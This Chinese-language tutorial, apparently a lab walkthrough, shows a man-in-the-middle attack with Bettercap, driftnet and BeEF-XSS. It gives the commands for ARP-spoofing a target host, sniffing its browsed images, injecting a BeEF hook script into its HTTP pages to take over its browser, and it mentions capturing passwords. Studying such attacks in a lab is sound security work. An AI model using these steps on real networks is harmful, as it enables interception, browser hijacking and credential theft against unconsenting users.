什么是中间人攻击
中间人攻击(Man-in-the-Middle Attack, MITM)是一种由来已久的网络入侵手段,并且当今仍然有着广泛的发展空间,如SMB会话劫持、DNS欺骗等攻击都是典型的MITM攻击。简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情。
arp协议及arp攻击的局限性
地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存。
arp攻击的局限性:存在与同一局域网中
使用到的工具
Bettercap
beef-xss
driftnet
准备工作
Bettercap安装
Bettercap是一款功能十分强大、易于扩展和便携的框架,用Go编写,旨在为安全研究人员、红队队员和逆向工程人员提供一个易于使用的一体化解决方案,其中包含执行侦察和攻击WiFi网络、蓝牙低能耗设备所需的所有功能,无线HID设备和IPv4/IPv6网络。
主要特点
- WiFi网络扫描,解除身份验证攻击,无客户端PMKID关联攻击和自动WPA / WPA2客户端握手捕获。
- 蓝牙低功耗设备扫描,特征枚举,读写。
- 2.4Ghz无线设备扫描和MouseJacking攻击通过无线HID帧注入(支持DuckyScript)。
- 被动和主动IP网络主机探测和侦察。
- 针对基于IP的网络的MITM攻击的ARP,DNS和DHCPv6欺骗程序。
- 数据包级别,TCP级别和HTTP / HTTPS应用程序级别的代理完全可编写脚本,易于实现javascript插件。
- 用于凭据收集的强大网络嗅探器,也可用作网络协议模糊器。
- 易于使用的web用户界面。
- 等等。
在命令行中输入
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo apt-get install bettercap
使用如下命令打开bettercap
┌──(root㉿kali)-[/home/kali/Desktop]
└─# bettercap
打开后输入命令net.recon on来列出存活的主机
输入net.show就会以列表的形式列出存活主机
这时Bettercap就已经安装好了。
BeEF-XSS安装
BeEF-XSS简介
BeEF-XSS是一款非常强大的web框架攻击平台,集成了许多payload,可以实现许多功能!
安装过程
BeEF-XSS可以在kali中使用但是现在的kali中并没有事先预装BeEF-XSS所以要我们自己来安装
apt-get update
apt-get install beef-xss
然后在命令行中输入beef-xss就可以启动了
在url中输入ip:3000/ui/panel可以进入控制台,输入默认账户beef和自己设置的密码就可以进去了
攻击过程
启动arp欺骗
在Bettercap中输入help arp.spoof 可以看到arp.spoof 这个模块的帮助文档
通过文档得知我们先要用arp.spoof.targets来指定一个被攻击的ip也就是set arp.spoof.targets ip
然后输入arp.spoof on就可以启动攻击了
可以看到在被攻击前目标靶机的网关物理地址是
被攻击后的物理地址就会变成
ping一下百度
可以正常访问,像这样arp欺骗就算成功了
通过driftnet抓取目标靶机访问页面图片
首先先启动driftnet这款工具
driftnet -i eth0
然后在目标靶机模拟受害者访问网页
看一下kali中的返回图片
成功劫持!
Bettercap与beef-xss联动
思路
使用bettercap进行arp欺骗并注入beef的hook js
bettercap操作
用到的模块:
arp.spoof
http.proxy
net.probe
set http.proxy.script /home/crack/eval.js
http.proxy on
net.probe on
arp.spoof on
这时只要目标靶机访问http的网站打开F12就可以看到插入的js脚本
然后就可以看到在beef中上线了
ps:eval.js是借鉴的林尽欢师傅的文章
注:我们在操作的时候可以三种工具同时使用来达到随时监控,同时也可以通过wireshark等监控工具对目标主机进行流量监控来获取账户和密码这些敏感信息。